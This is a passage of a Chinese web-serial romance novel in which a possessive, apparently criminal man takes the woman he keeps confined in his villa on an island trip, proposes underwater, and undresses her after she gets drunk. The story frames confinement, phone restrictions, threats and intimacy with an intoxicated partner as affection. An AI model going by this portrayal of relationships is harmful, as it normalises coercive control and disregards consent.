毫无征兆的逼问,陈知念呼吸一滞。她睫毛抖动几下,而后抬起眼迎上他审视的目光:“打给你,只打给你。” 一听就是在糊弄鬼,这张嘴也就在哄人的时候会说两句软话。 不过,他确实有被哄到。 沉默良久,他开口:“可以给你。但手机里只能装学习软件。” 他盯着她的眼睛,“记住,别做让我不高兴的事。” 两人成功达成协议,紧绷的气氛还没完全散开,一团雪白的影子倏地窜进餐厅。 雪球小跑着来到陈知念腿边,用湿漉漉的鼻子亲昵地蹭了蹭她的腿。 “雪球!”陈知念的声音满是惊喜,她好久没看到雪球了,醒来后也没看到它。她弯下腰将它抱进怀里:“球球你都去哪了,怎么我在别墅都没看见你呢?” 雪球舒服地在她怀里蹭了蹭,吐着粉粉的舌头,喉咙里发出呜呜的声音。 陈寅洛淡淡接过话头:“有人专门照顾它。” —— 电视屏幕闪烁着,里面播放着一部动画片,是很久远的动漫,樱木花道正顶着一头红发,攥着篮球在湘北高中的球场上大喊“我是天才”。 陈知念蜷在沙发上,怀里抱着已经睡熟的雪球,有一下没一下地轻抚着它柔软温暖的毛发。目光落在屏幕上,看着樱木花道笨拙却执着地练习投篮,偶尔因为他故意在流川枫面前耍帅,结果被对方彻底无视后那副气急败坏、抓狂跳脚的模样,她也跟着扬起唇角。 陈寅洛坐在沙发另一侧的单人位上,膝上放着打开的笔记本电脑,屏幕的冷光映着他没什么表情的侧脸。他在处理邮件,修长的手指偶尔在键盘上敲击几下,发出清脆的声响。 听到克制的笑声,他抬眼瞥了下屏幕,正好看到红发小子张牙舞爪的模样。 冷漠评价道:“幼稚。” 过了一会儿,夜似乎更凉了。陈知念拢了拢身上的薄外套,怀里的雪球睡得正香,她不想吵醒它,只好轻轻调整姿势,把脸埋进雪球的毛里汲取暖意。 可没过多久,指尖还是泛起凉意。 她瞥了一眼放在沙发另一端扶手上的羊绒薄毯,犹豫着是忍一忍,还是起身去拿。 还没等她动作,敲击键盘的声音忽然停了。 “冷了?” 陈知念吓了一跳,怀里的雪球也被惊醒,不满地“呜”了一声。 “嗯,有点。”她垂下眼睫,低声承认。 话音落下的瞬间,陈寅洛已合上电脑,随手搁在茶几上。他迈开长腿,两步便走到她面前。 陈知念心里咯噔一下,潜意识想往后缩,却被他伸手扣住了腰。下一秒,她整个人就被他从沙发上捞了起来,带着雪球一起,稳稳地落进他怀里。他顺势坐回沙发,将她圈在自己和沙发靠背之间,另一只手伸到扶手边,轻松拿起那条羊绒薄毯,裹在了两人身上。 “你……”陈知念僵在他怀里,不习惯这突如其来的亲昵。 陈寅洛低头看了眼怀里僵成石头的人,伸出手捏住她下巴转向电视屏幕。 “看你的。” 动漫正好放到湘北与陵南的比赛现场,樱木花道为了救一个快出界的球,狠狠摔 在地上,膝盖擦破了皮,却还是咬着牙爬起来,攥着球说“比赛还没有结束”。 陈知念怔怔地看着荧幕,紧紧盯着那个红发小子。看着他摔得狼狈,却依旧眼神发亮地宣告“我还能打”,她的鼻尖忽然有些发酸。 樱木花道总说自己是天才,可这份“天才”背后,是摔了又爬起来的韧劲。 最终,她轻轻吸了口气,将头缓缓靠进陈寅洛怀里,紧绷的身体彻底放松下来。 察觉到怀里人的松动,陈寅洛微微翘了唇角,他有一搭没一搭地捏着她指尖,“这个红毛小子叫什么?” “樱木花道。”陈知念很快答道。 “哦。”陈寅洛没话找话:“这个晴子是他女朋友?” 陈知念轻轻摇了摇头:“不是,是樱木喜欢她,现在他们并不是男女朋友。” 她说着,视线又落回屏幕——晴子正站在场边,对着樱木花道比了个加油的手势,樱木立刻涨红了脸,像是打了鸡血似的,转身就往球场上冲。 陈寅洛低头,先看了眼屏幕里笑眼弯弯的晴子,又垂眸看向怀里的小脸,忽然道:“我发现你和她长得挺像的。” 陈知念被他这突如其来的评价弄得一愣,很快反驳道:“……没有吧。” 陈寅洛没再继续这个话题,收紧了手臂,下巴轻轻抵着她的发顶,两人继续无声地看着动漫。 就这样抱着看了一整集,直到片尾曲响起,屏幕上开始滚动字幕,陈寅洛才忽然开口,语气像是临时起意:“你平时都喜欢干什么?” 陈知念没想到他会问这个,指尖摩挲着雪球的毛发,眸光透着几缕回忆。 沉默了几秒才轻声开口:“以前……喜欢弹钢琴。” 说到这里,她的声音低了些:“后来学业忙了,就很少碰了。后来……就偶尔看看动漫,像今天这样。” 她没说的是,被关在这栋别墅里后,这些都已经成为过去式了。 “嗯。”陈寅洛听起来像是随口一问,转瞬就换了话题:“过两天正好我有空,带你出海玩怎么样?” 出海?陈知念仰头看他。 他垂下眼睑,“你喜欢帆船还是游艇?” 其实对她来说,帆船也好,游艇也罢,没有什么区别。 短暂的沉默后,她垂下眼睫,“帆船吧。” “好。”他答。 第73章 脸颊忽然传来轻轻的痒意,像小绒毛在蹭。陈知念迷迷糊糊地以为是雪球趁她没醒,又来撒娇捣乱,抬手随意扒拉了一下,“球球,别闹了,让我再睡会。” 然而痒意却越发明显,从额头一路往下,轻轻扫过眉骨,又蹭过鼻尖,最后稳稳停在嘴唇上,带着温热的触感,渐渐加深。 陈知念迷蒙着睁眼,映入眼帘是陈寅洛放大的眼眸。陈寅洛见她醒了,非但没有退开,反而像是品尝不够,又在她唇上不轻不重地啄了一下,这才稍稍抬起身:“起床,半个小时后我们出发。” 陈知念轻轻别开脸,“去哪?” “去圣克里斯托瓦尔岛。” 陈知念这才想起前两天他说,带她出海玩,原来不是开玩笑。这个认知让她的心轻轻跃动了一下。能出去,能离开这栋无所不在的牢笼,哪怕是短暂的片刻,也好。 自从从禁闭室出来后,陈知念就选择收敛起所有外露的锋芒,尽量与他和平共处。 陈寅洛已经起床,陈知念抱起睡得呼噜响的雪球,从床上下来。 简单用清水洗完脸,随手扎了个低马尾。走出卧室,她发现陈寅洛正站在客厅的落地窗前讲电话。他今天穿了一身深灰色休闲服,凌厉的眉眼褪去,倒不像那个让人望而生畏的陈寅洛了。 他没回头,却像背后长了眼睛似的,将电话从耳边挪开,回头道:“去吃早餐,十分钟后出发。” 陈知念默默走到餐桌前坐下,小口小口地吃着吐司。雪球在她脚边醒来,蹭了蹭她的腿,她弯腰把它抱进怀里。 陈寅洛结束通话,她刚好把盘子里准备的早餐吃完。 “走吧。” 他率先朝外走去,陈知念抱着雪球跟上。迈出大门,她不由得微微一愣——门外竟已等候着好几个人。 熟悉的有阿星和雷子,阿星染了头蓝发,穿了件花衬衫,依旧是那副散漫不羁的模样,见到她出来,立刻咧嘴一笑,扬声喊道:“嫂子!” 一旁的雷子则与他形成鲜明对比。他戴着宽大的墨镜,遮住了大半张脸,身形挺拔如松,双手习惯性地交叠在身前,腰间枪套的轮廓隐约可见,时刻保持着警戒状态。 而阿星旁边还站了一个高挑的美女,见到陈寅洛出来,她害怕地往阿星身后躲了躲。阿星侧头对她低语了一句什么,她这才探出身子,小声恭敬地喊了声:“洛哥。” 陈寅洛目光淡淡扫过,未作停留,径直走向座驾。那女孩也不在意,转而望向陈知念,脸上绽开一个灿烂的笑容,露出两个甜甜的梨涡,声音清脆地说:“嫂子好,我叫露露,是阿星的女朋友~” 陈知念一怔,半响才轻声回:“你好。” 雪球从她怀里探出头来,“汪”了一声,露露眼睛一亮,想伸手摸一摸,又顾忌着陈寅洛的脸色,只好停在半空中,笑着说:“这就是雪球吧?好可爱呀~” 原本以为这趟海岛之行,又将是与陈寅洛独处的漫长煎熬,可现在看到阿星、雷子,还有新认识的露露,那份隐秘的紧绷瞬间散了大半。 几辆车同时出发,很快便行驶到机场,停在一架中型纯白飞机旁。庞然大物此时停在那里佁然不动,庞大的机翼盖住了这方天空,洁白的机身上印着一道流畅的曲线,机尾的位置还有一个‘L’的符号。 雷子率先下车,快步走到飞机旁跟机组人员沟通了几句,然后转头朝着他们挥了挥手:“可以登机了,行李已经让工作人员先送上去了。” “哇!洛哥也太豪气了吧!”露露下车看到飞机,忍不住惊呼出声,拉着阿星的胳膊晃了晃,“我还是第一次坐私人飞机呢,里面会不会像电视剧里那样,有沙发还有小吧台呀?” 阿星切了一声:“这算什么,洛哥的私人飞机多了去了,下次让他再带你坐更大的!” 陈寅洛从陈知念怀里接过雪球,“愣着干什么,走。” 几人陆续登机,机舱里果然如露露所说,有柔软的沙发座椅,中间还放着小茶几,上面摆着新鲜的水果和饮品,靠窗的位置还放着软垫,方便躺着看风景。 “哇!阿星你看,我没说错吧!”露露像个叽叽喳喳的小鸟,直奔一个靠窗的座位。她迅速拿出手机,对着窗外的机场景色和舱内的奢华布置连拍了好几张。 阿星跟在她身后,顺手从茶几上的果盘里拈起一颗草莓,递到露露嘴边。露露就着他的手咬了一口,眼睛还盯着手机屏幕,“好甜!” 陈寅洛嫌弃地扫了那两人一眼,吵死人了。 随即握住陈知念的手,拉着她往机舱后排的双人位走。坐下后,他把小家伙轻轻放在两人中间的空位上。雪球立刻蜷成一团,一半靠在陈知念的腿上,一半贴着陈寅洛的膝盖,很快就打起了小呼噜。 一位空乘人员走来,半跪在陈知念身边,用轻柔的声音询问:“陈小姐,需要毛毯吗?或者喝点什么?有刚榨的果汁。” 陈寅洛直接替她回答:“拿条毯子,再倒杯温牛奶。” “是,先生。”空乘应声退下。 飞机跃入云端,穿过云层后,阳光洒满机舱。 前排的阿星和露露还在叽叽喳喳, 话题从岛上的沙滩聊到深海的鱼群,一会儿兴奋地说要去礁石区抓螃蟹,一会儿又规划着要在沙滩上搭一座带城堡尖的沙堡。 聊到兴起时,露露回头冲陈知念招手:“嫂子!你喜欢吃清蒸虾还是麻辣蟹呀?到时候让阿星去抓,咱们晚上在海边烧烤!” 阿星立刻接话,拍着胸脯保证:“对!我钓鱼技术一流,到时候给嫂子钓条大的,让厨房做东星斑!”说着还不忘追问,“嫂子你喜欢玩浆板吗?一会我带你去玩。” 陈知念被他们的热情感染,嘴角弯着浅浅的弧度应道:“都好,捡贝壳也挺有意思的。” 陈寅洛原本闭着眼,靠在椅背上像是在小憩,可阿星和露露的对话一字不落地飘进他耳朵里。 他缓缓掀开眼皮,瞪了阿星一眼:“用得着你带?” 露露被陈寅洛的突然出声吓到顿时不敢说话了,阿星缩回头:“是是是,我错了,洛哥你带嫂子。” 陈寅洛不理会他,转头看向陈知念:“是不是嫌他们吵了?” 陈知念连忙摇摇头,“不用,这样挺好的,热闹点……不闷。” “嗯。”他说,“还有三个小时才到,你要是无聊,后面有影音室,或者躺下睡一会儿。” “不用。” 说完,她微微侧过身,看向窗外洁白蓬松的云海,她看得有些出神,连自己微微打了个小小的哈欠都没察觉。 陈寅洛不动声色地伸出手,将她座椅旁那盏阅读灯的旋钮轻轻调暗。 顺手拿过那条毛毯,“盖上。” 陈知念顿了顿,接过毯子,“谢谢。” 她靠着舒适的椅背,眼皮渐渐沉重,最终在不知不觉中沉沉睡去,呼吸渐渐变得均匀,头也无意识地往陈寅洛的方向偏了偏,几次轻点之后,最终轻轻地靠在了他的肩膀上。 他垂眸,看着肩头那颗毛茸茸的脑袋,随后调整了一下自己的坐姿,让她靠得更稳当些。 阿星刚回头想搭话,可话未出口,便撞上了陈寅洛骤然抬起的视线。 【闭嘴。】 阿星立刻缩了缩脖子,迅速转回身。 不知过了多久,空乘轻步走过来,在陈寅洛耳边低声提醒:“先生,还有十分钟就要降落了。” 陈寅洛轻轻点头,等空乘退开后,捏了捏陈知念耳垂:“起来。到了。” 陈知念迷迷糊糊地睁开眼,意识还带着点困顿,眨了眨眼才看清眼前的景象。舷窗外的云海已经消失,取而代之的是一片澄澈的蓝。 随着机身逐渐贴近地面,海岛的景象越来越清晰。成片的椰林在风中摇曳,白色的沙滩像一条丝带环绕着海岛,海面上还能看到几艘零星的游艇,像蓝宝石上点缀的珍珠。 前排的阿星早就按捺不住,飞机刚滑入停机位,就拉着露露站了起来:“快快快!我已经闻到海鲜的香味了!洛哥,咱们是不是直接去码头坐游艇啊?” 陈寅洛压根不搭理他,伸手捞起雪球,动作自然地托了一下陈知念的胳膊,帮她站稳。“走了。” 不远处,几辆敞篷的观光车已经等候在那里,司机穿着色彩鲜艳的岛服,脸上带着热情的笑容。 “先去住处放行李,休息一下。”陈寅洛发话,带着陈知念走向最前面那辆车。阿星和露露兴奋地上了后面一辆,雷子则负责指挥工作人员搬运行李。 车子沿着椰林掩映的小路平稳行驶,路两边是高大的棕榈树和叫不出名字的热带花卉。 他们的住处是一栋直接建在洁白沙滩上的独栋别墅,拥有私人的泳池和一片被绿植环绕的露台,推开客厅巨大的落地玻璃门,几步之外就是细腻的沙滩和碧蓝清澈的海水。 陈寅洛把雪球放在木地板上,小家伙好奇地四处嗅闻。 他从背后环住她的腰,“累不累?是想先休息,还是直接去海边走走?” 陈知念有些出神。 她轻轻摇了摇头,目光掠过地上还在好奇探索的雪球:“不累,想去海边走走,也让雪球晒晒太阳。”—— 作者有话说:[可怜][可怜]最近想努力一把日九一下,求一下营养液可以么 第74章 陈寅洛牵着陈知念往码头深处走,路过阿星和露露时,随口说了句“你们去别的地方玩去”。 话里的意思再明显不过,这趟出海,他只想和她独处。 阿星识趣地拉着露露转身往沙滩方向去,临走前还用嘴型对陈寅洛说:老大,万无一失! 陈寅洛冷冷道:“滚!” 没走几步,一艘白色的单体帆船便撞入眼帘。船身小巧精致,甲板上放着两副浮潜装备和两条浅色毛毯。 他率先踏过跳板,然后回身,向她伸出手,“上来。” 陈知念犹豫了一下,将手放入他的掌心,在他的牵引下踏上甲板。她有些疑惑地看着空荡荡的船舱:“就我们两个人吗?不用船员帮忙开船?” 陈寅洛已经走到桅杆旁,开始利落地检查绳索,头也没抬:“不然呢?你还想要谁来开船?” 这句话让陈知念怔住了。他会开帆船? 在她愣神之际,陈寅洛已经动作娴熟地解缆,升起主帆。白色的帆布在风中鼓胀起来,发出猎猎的声响。 他回到舵轮前,手腕沉稳地转动,帆船便轻盈地调转方向,划开碧蓝的海面,滑向大海深处。 陈知念静静站在陈寅洛身侧,目光不自觉地落在他掌舵的身影上。他左手扶着船舵,右手轻轻调整着帆绳,指尖动作利落又精准,每一次微调都让帆船顺着海风稳稳前行,连船身的晃动都变得格外平缓。 海风吹得他额前的碎发微微扬起,几缕黑发贴在饱满的额角,又被风轻轻吹开,露出他专注的眉眼。 这一刻,他褪去了所有戾气和凌厉,更像一个驾驭风浪的航海家,沉稳、自信,充满了一种原始的男性魅力。 这种陌生的形象,让她的心弦被不经意地拨动了一下。 “发什么呆?过来。”他忽然开口,目光仍看着前方海面。 陈知念迟疑地走近。 他空出一只手,拉住她的手腕,将她带到舵轮前。然后,他从她身后靠近,双臂从她身侧伸出,覆在她的手背上,引导她握住光滑的舵轮。 “感受一下。”他的声音就响在她的耳畔,低沉而富有磁性。“风的方向,船的节奏,跟着它走,船才不会偏。” 陈知念的脊背不由控制地僵住。陈寅洛浑身上下只穿了一条黑色泳裤,麦色的皮肤贴着她的后背,连他呼吸时胸腔的轻微起伏,都透过薄薄的泳衣布料传递过来,带着灼人的热度。 他手臂的肌肉线条紧贴着她的手臂,掌心完全包裹着她的手背,指节分明的手指调整着她握舵的姿势。 “专心。”他似乎察觉到了她的走神,“看前面,感受帆吃风的力道。” 陈知念试图照做,努力将注意力集中在海天相接的远方,感受着脚下船身随着波浪和风力的微妙起伏。 可他的存在感太强了。 他带着她的手腕,微微转动舵轮,帆船随之偏转了一个角度。船身倾斜的瞬间,她下意识向后靠去,脊背完全贴合在他温热的胸膛上。 他的手臂瞬间收紧,稳稳托住她的腰腹。 陈知念的脸颊瞬间烧起来,想直起身,却被他箍紧了:“别动,船还没稳。” 他的声音就在头顶,带着点低笑,“怕什么?我还能让你掉下去?” 等船身重新平稳,陈知念才轻轻挣了挣:“我……我学会了,你松开吧。” “悟性不错。”他压根不放,“是个好学生。” 直到船行至一片墨蓝色的海域上方,他才终于退开些许距离,“前面就是浮潜的地方,下去看看。” 他收回手臂,率先走到船尾,熟练地放下锚链。锚链坠入海中,发出“哗啦”的声响,帆船渐渐停稳,只随着海浪轻轻晃动。 回来时,他手里多了两副浮潜装备,其中一副是粉色的面镜和呼吸管,明显是特意为她准备的。 “会游泳吗?”他问,手上已开始调试自己的装备。 陈知念点头,“会一点,以前学过……” “够用了。”他拿起那副粉色面镜,走到她面前。他的指尖轻轻掠过她的太阳穴,将束带调整到合适的长度。“抬头。” 她依言微微仰起脸。他托住她的脸颊,将面镜轻轻扣合,手指细致地按压边缘,检查密封。 “记住, 用嘴呼吸,别用鼻子。” 接着,他蹲下身,拿起一对脚蹼,“脚抬起来。” 陈知念下意识地扶住他的肩膀以保持平衡,看着他蹲在地上,低头为自己套上脚蹼。 一切准备就绪,陈寅洛率先跨过船舷,矫健地跃入水中,溅起一小片水花。他浮在水面,朝她伸出手:下来。 她深吸一口气,扶着船舷,小心翼翼地跨过船舷,刚触到海水,清凉的触感就裹住脚踝。 陈寅洛稳稳握住她的手,轻轻用力将她拉向自己,避免她因脚蹼笨重而失衡,另一只手轻轻托着她的腰,帮她在水面稳住身形。 定了定神,陈知念轻轻划动脚蹼,跟着他往深海游去。 低头透过面镜望去,墨蓝色海水下的世界瞬间铺展。成片的珊瑚礁像彩色的城堡,红的、黄的、粉的珊瑚交错生长,小丑鱼在珊瑚丛里钻来钻去,偶尔有透明的小虾从沙地上跳过。 对比陈知念的闲适,陈寅洛的耐心正随着搜索递减。阿星这蠢货,该不会是随手一扔就完事了吧? 出海前,阿星神秘兮兮地说:洛哥,听我的!绝对万无一失!女人在那种地方根本没法思考,眼前是鱼群珊瑚,旁边是你,你再掏出个亮闪闪的东西往她手上一套——我的天!这画面她能记三辈子!保准以后看你眼神都带光! 到底把东西藏哪去了?他暗自磨了磨后槽牙,一点眼色都没有。 他强压下心头的烦躁,不得不更仔细地贴近海底搜寻。 陈知念没察觉他的心思,注意力全被身边游过的鱼群吸引。一群带着蓝色条纹的热带鱼从她眼前掠过,她忍不住轻轻晃了晃陈寅洛的手。 陈寅洛瞥见她眼底的欢喜,心头的烦躁瞬间散了大半。 阿星的蠢主意似乎也没那么不靠谱,不过是几尾游鱼,就能让她眼里漾出光来,要是真找到了那东西,她该更开心吧? 按照阿星的说法,藏在最大的粉色珊瑚丛后面。他带着她慢慢游到那片珊瑚前,刚绕到珊瑚后,他就急得差点想扯下面镜。 沙地上空荡荡的,只有几只小螃蟹在爬,哪有阿星说的狗屁东西? 他不死心又往深处游了游,终于在一块礁石的缝隙里,看到了一个缠着防水绳的小盒子! 陈寅洛用绳子套住陈知念胳膊,示意她别乱动,随即自己立刻游过去,一把将盒子捞起。入手很轻,他心头一沉,手指用力扯开绳结,掀开盒盖—— 里面是空的。 只有一小张被海水浸透、字迹已经模糊的纸条: 【洛哥!万无一失!】 一股火气直冲头顶,阿星这个成事不足败事有余的蠢货! 他正准备丢掉盒子,却突然发现,绳子下面系了个什么东西。他压下火气,伸手捞起绳子,指尖顺着绳结往下摸,终于触到了一个小小的环状物。 他把东西拎起来,是那枚戒指! 陈寅洛松开空盒子,任其缓缓沉入海底,指尖捏着那枚戒指,迅速往回游。 他游到她面前,拉过她的右手。陈知念疑惑地抬头,透过面镜,对上他深邃的目光。 没有丝毫犹豫,他径直将戒指套在了她手上。 尺寸竟意外地贴合。 陈知念连呼吸都险些忘了,难以置信地看向自己的手指。 那是一枚样式极其简洁的戒指,素净的宽版戒圈上,没有任何多余的雕饰,只嵌着一颗硕大的墨蓝色蓝宝石。那蓝色深得近乎墨黑,在海底幽微的光线下,却能折射出细碎的光泽,像把整片深海的神秘都凝在了上面,与周遭的海水气息浑然一体,竟丝毫不显突兀。 没等她反应过来,他已经拥着她的腰,带着她往海面浮去。 “哗啦——” 两人冲破海面,她还没看清眼前的一切,陈寅洛已经抬手,利落地摘掉了自己的呼吸管面镜,随即,也替她取下了面镜。 湿透的黑发贴在他额前,水珠从他棱角分明的下颌滚落。 陈知念心跳一滞。 没有任何言语。 他一手托住她的后颈,防止她因水的浮力后退,另一只手仍紧紧箍着她的腰,低头便吻了上去。 这个吻带着海水的咸涩,和他惯有的强势力道。 陈知念僵在水中,脚下是深不见底的海,身侧没有任何借力的地方,只能被动地承受着这个突如其来的吻。 周围只有海浪拍打水面的声音,远处偶尔传来海鸥的鸣叫,却衬得此刻的安静格外清晰。 不知过了多久,陈寅洛才慢慢松开她。 墨黑的眼眸沉沉地映在她的瞳孔里,“喜欢吗?”—— 作者有话说:[可怜][可怜] 第75章 回程的路上,陈知念一直恍恍惚惚。 她蜷在帆船客舱的软垫上,身上裹着厚厚的浴巾,所有的感官都失灵了,只剩下无名指上那枚戒指沉甸甸的触感,和唇上挥之不去的灼热温度。 她不由自主地抬起手,看着那枚墨蓝色的宝石。 思绪飘远,不知道在想什么。 “到岸了,还发呆。” 陈寅洛的声音在头顶响起,陈知念猛地回过神,才发现船已稳稳停靠在码头边。 岸上的阿星已经迫不及待地嚷嚷起来:“老大!嫂子!玩得怎么样?海底漂亮吧?” 他话音里的促狭意味太过明显,陈知念的心倏然一跳,下意识地,右手就往身后缩去,想要将那枚过于惹眼的戒指藏起来。 可她的手腕才动,就被一只温热的大手精准截住。 “走了。” 随即,他便牵着她,踏上了连接码头与船身的跳板。 海边的沙滩上已经支起了烤架,木炭泛着红光,几条烤得金黄的鱼摆在锡纸盘里,撒着翠绿的葱花和鲜红的辣椒,香气顺着海风飘过来,瞬间勾动了食欲。 露露拉着陈知念坐下,递过一双筷子:“嫂子,你尝尝,阿星烤的鱼可好吃了,外焦里嫩的!” 陈知念接过筷子,夹了一小块鱼肉放进嘴里。外皮带着炭火的焦香,鱼肉却鲜嫩得能爆出汁,一点腥味都没有。 她弯弯眼眸,“好吃!” 这声赞美让阿星顿时眉开眼笑,得意地又递过来一条烤得滋滋冒油的鱿鱼:“嫂子有眼光!再尝尝这个,我的独家秘方!” 露露则开心地倒了几杯冰镇的啤酒,她塞给陈知念一杯:“配这个最爽口了!” 陈知念看着递到面前的啤酒,她从来没喝过酒,只能迟疑地观察着杯中不断上升的小气泡。 陈寅洛开口道:“她不喝。” “不。”陈知念蓦然开口,她抿了抿唇,抬眼望向陈寅洛,眼底带着点倔强:“我想试试。” 说完,她主动伸出手,接过露露手里的啤酒。 望着手里泛着气泡的液体,她尝试着抿了一口。啤酒的麦芽香混着淡淡的苦味在舌尖散开,咽下去后,喉咙里又泛着点清凉的甜,和她想象中辛辣的味道完全不一样。她愣了愣,又小口喝了一口。 这时雷子拎着个深色保温桶,脚步不快不慢地走过来,“洛哥,我捉到一条石斑鱼!” 说着,他掀开保温桶的盖子,桶里装着半桶海水,一条约莫两尺长的石斑鱼在里面轻轻摆着尾,鳞片泛着银灰色的光,看着就格外鲜活。 阿星立刻凑过去,眼睛一亮:“可以啊雷子!深藏不露!这鱼清蒸最鲜了!嫂子,你有口福了!” 雷子点点头,没多话,拿出小 刀准备处理鱼。 阿星已经跑去烤架旁清理位置,“我来搭把手!剖鱼我也行!” 几杯酒下肚,陈知念感觉脸颊有些发烫,身体也放松下来。 她听着阿星手舞足蹈地吹嘘自己当年的“垂钓英姿”,被露露毫不留情地拆穿,忍不住跟着笑了起来。 这是她很久以来,第一次真正不带负担地笑出声。 酒劲渐渐上来,她也闲的无聊,拿起几串虾自己尝试在炭火上翻烤,火苗舔舐着虾壳,发出滋滋的声响,散发出诱人的焦香。 “可以阿,嫂子,有天赋!”阿星调笑道。 陈知念有些不好意思,她将烤好的虾递给身边的露露,又拿起一串,犹豫了一下,递向坐在一旁的陈寅洛。 陈寅洛也喝了不少酒,脚边的啤酒瓶堆了一大摞,不过他几乎看不出任何醉态,只能从他微微泛着光的眼眸看出些许端倪。 看着她递来的虾,他倍感意外地挑挑眉,随即伸手接过,三两下就解决了那串虾。 阿星在一旁起哄:“老大,嫂子亲手烤的,是不是特别香?” 陈寅洛一个眼神扫过去,阿星立刻做了个给嘴巴拉上拉链的动作,躲到露露身后去了。 就在这时,他忽然揽住她的腰,稍一用力,便将人稳稳地安置在自己腿上。 “让他们烤去,”他的手臂环在她腰间,“你陪我歇会儿。” 声音压得很低,带着点酒后的沙哑,却比平时更显磁性。 不远处的阿星刚咬了一口烤虾,看到这一幕,嘴里的虾差点喷出来,却被露露狠狠瞪了一眼,只能硬生生把话咽回去,转而冲雷子挤眉弄眼。 陈知念脸颊一热,想从他腿上下来。 “别动。”他环在她腰间的手臂收得更紧了些。 “陈寅洛……有人……”陈知念头垂得更低,众目睽睽之下,她只觉得无地自容。 陈寅洛感受到她的僵硬和羞窘,非但没有松开,反而将唇凑近她烧红的耳廓,“慌什么,我抱自己的女人,天经地义。” “谁多看一眼,试试。” 阿星立刻扯着嗓子接:“我没看!!老大,我绝对没看!!” 雷子沉默了一瞬,瓮声瓮气说:“我也没看。” “行了,”陈寅洛抬头,眼风扫过,“吃的都堵不住你的嘴是不是?” 阿星立刻点头哈腰:“堵得住堵得住!老大嫂子你们歇着,剩下的我来烤!” 说着麻利地翻动起烤架上的食物,动作比之前更卖力了。 露露站在旁边,看着他这副惊弓之鸟的模样,忍不住憋笑:“你慢点翻,这边都还没烤熟。” 陈知念这才微微抬头,目光扫过烤架旁,阿星正埋头跟一串鱿鱼须较劲,露露在旁边偶尔递个调料瓶,两人没再往这边看,雷子则找了块远处的礁石坐着,眼神落在海面上。 她稍稍放松了一点,想了想,微微侧过头,对身后人说:“陈寅洛,我还想喝酒。” 这种晕乎乎的感觉,让人放松,也让人迷恋,仿佛所有的顾虑都能暂时搁下。 陈寅洛垂眸看她。她仰起的脸颊还带着红晕,眼神因微醺而显得有些迷蒙,比平时少了几分戒备,多了几分柔软温顺。 他抬手,拿过桌上那杯她只喝了一小半的啤酒,递到她唇边。 “喝慢点。” 阿星偷偷瞥见这一幕,用手肘碰了碰露露:“瞧见没?我就说吧,老大开窍了,以前哪看过他这样啊,我真他妈感觉见鬼了。” 露露一边往烤串上刷着蜂蜜,一边白了他一眼:“人家对自己女朋友好,不是天经地义吗?你少在这儿瞎嘀咕,小心等会儿又被老大瞪。” “糟了!”阿星猛地一拍大腿,撂下烤串,“光顾着吃,把正事儿忘了!我给老大和嫂子准备了压轴好戏!” “什么啊?”露露好奇地凑近。 阿星神秘兮兮地压低声音:“烟花啊!我特意提前安排的!就咱老大那情商,追嫂子这功劳簿上,我得占头功!我沈星的名字这回要是写不正,都对不起我这份苦心!” 露露听着他的话,忍不住笑出声,“就你机灵,不过这烟花放出来,嫂子肯定会喜欢的。” 阿星撂下烧烤,掏出手机给工作人员发信号。 没过两分钟,远处的海面上突然传来“咻——”的一声巨响,紧接着,一道明亮的光直冲夜空,在墨蓝色的天幕上炸开,变成了一片绚烂的金色花海!紧接着,第二道、第三道光芒陆续升空,红色的玫瑰、蓝色的海浪、粉色的爱心、银色的流苏……接连不断的璀璨图案,将整个海滩映照得如同白昼。 陈知念正喝着酒,听到巨响时还吓了一跳,等看到夜空中绽放的烟花,眼睛瞬间亮了起来。 她仰着头,脸颊因微醺泛着淡淡的红晕,嘴角不自觉地勾起,露出纯粹又明亮的笑意。烟花在她眼前不断炸开,映得她眼底满是细碎的光,整个人都被这漫天华彩吸了进去。 “喜欢?” 陈寅洛没看夜空中的烟花,目光自始至终都落在她脸上,从她受惊时的慌乱,到看到烟花时的惊喜,再到此刻眼底的光亮,每一个细微的表情都被他收入眼底。 “嗯。”陈知念点点头。 “以后常放给你看。” 话音落下的瞬间,一枚巨大的烟花恰好在空中绽开,化作满天繁星。 陈知念佯装沉浸在烟火中,没有接话。 最后一支烟花的光晕在天幕上渐渐淡去,海面重新归于墨蓝,只余下零星的光屑随着海风飘散。 他低头,温热的气息凑到她耳边,“我们回房间休息吧?” 陈知念回头,撞进他晦暗不明的眼眸。那里面像是藏着旋涡,将周遭的光线、声音,都一并吸了进去。 “我抱你。” 他轻轻吻了吻她耳垂—— 作者有话说:[撒花][撒花][撒花][撒花] 第76章 从沙滩到别墅的路不算远,可海风裹着凉意吹了一路,陈知念原本压在心底的五分酒意,竟像被吹开了闸似的,一路往上涌,等陈寅洛抱着她推开房门时,已经彻底成了九分醉。 她浑身软得像没了骨头,脑袋靠在陈寅洛颈窝,连眼睛都快睁不开。 陈寅洛刚将她放下,她的胳膊又猛地圈住他的脖子,蹙着眉往他怀里又扒了扒,额头抵着他胸口,带着哭腔嘟囔:“……我站不起来了,地板在转……” “谁让你喝这么多的。”他只好又把人稳稳揽进怀里,手掌托着她的腿弯,抱着往房间去。 刚走到床边,陈寅洛还没来得及弯腰,陈知念就顺着他的力道,侧身往柔软的床上一躺。 他转身脱掉外套,随手搭在床边的椅子上,又走回床前,俯身用指尖拨开她脸上的碎发:“起来,去洗澡。” “我不……”陈知念把头往枕头里埋了埋,抱着被子翻了个身,“我、我起不来了……我没力气……” 陈寅洛看着她这与平日判若两人的黏糊模样,眉头微蹙。怎么几杯酒下肚,就像换了个人。 “起不来也得洗。”他俯身,一手穿过她的膝弯,另一只手稳稳托住她的后背,稍一用力,便将人打横抱了起来。 “啊……”陈知念轻呼一声,下意识地搂住他的脖颈,晕乎乎的脑袋靠在他肩头。 他抱着她走向浴室,将人放在铺着洗手台面上坐稳,自己则转 身去调试水温。哗哗的水声响起,蒸腾的热气逐渐弥漫开来。 陈知念七倒八歪地坐在台面上,看着他的背影,酒精让她的反应慢了半拍,只是懵懂地看着他。 水温调好,陈寅洛回身,见她仍是一副呆呆的模样,湿漉漉的眼睛望着自己,他走近:“你自己洗,还是我帮你?” “啊?”陈知念一脸懵。 被热气一熏,酒意更浓,自己根本就坐不稳,一头载进了陈寅洛怀里。 陈寅洛没再说什么,开始耐心地、一件件帮她解除束缚。 他的指尖偶尔擦过她温热的皮肤,带来一阵细微的战栗。陈知念晕乎乎地靠在他怀里,任由他摆布,酒精让她比平时迟钝,却也更加坦诚。 最后一件也被脱掉,陈知念忽然伸手捧住他近在咫尺的脸,乌亮的眼眸直愣愣看着他:“你是陈寅洛吗?” 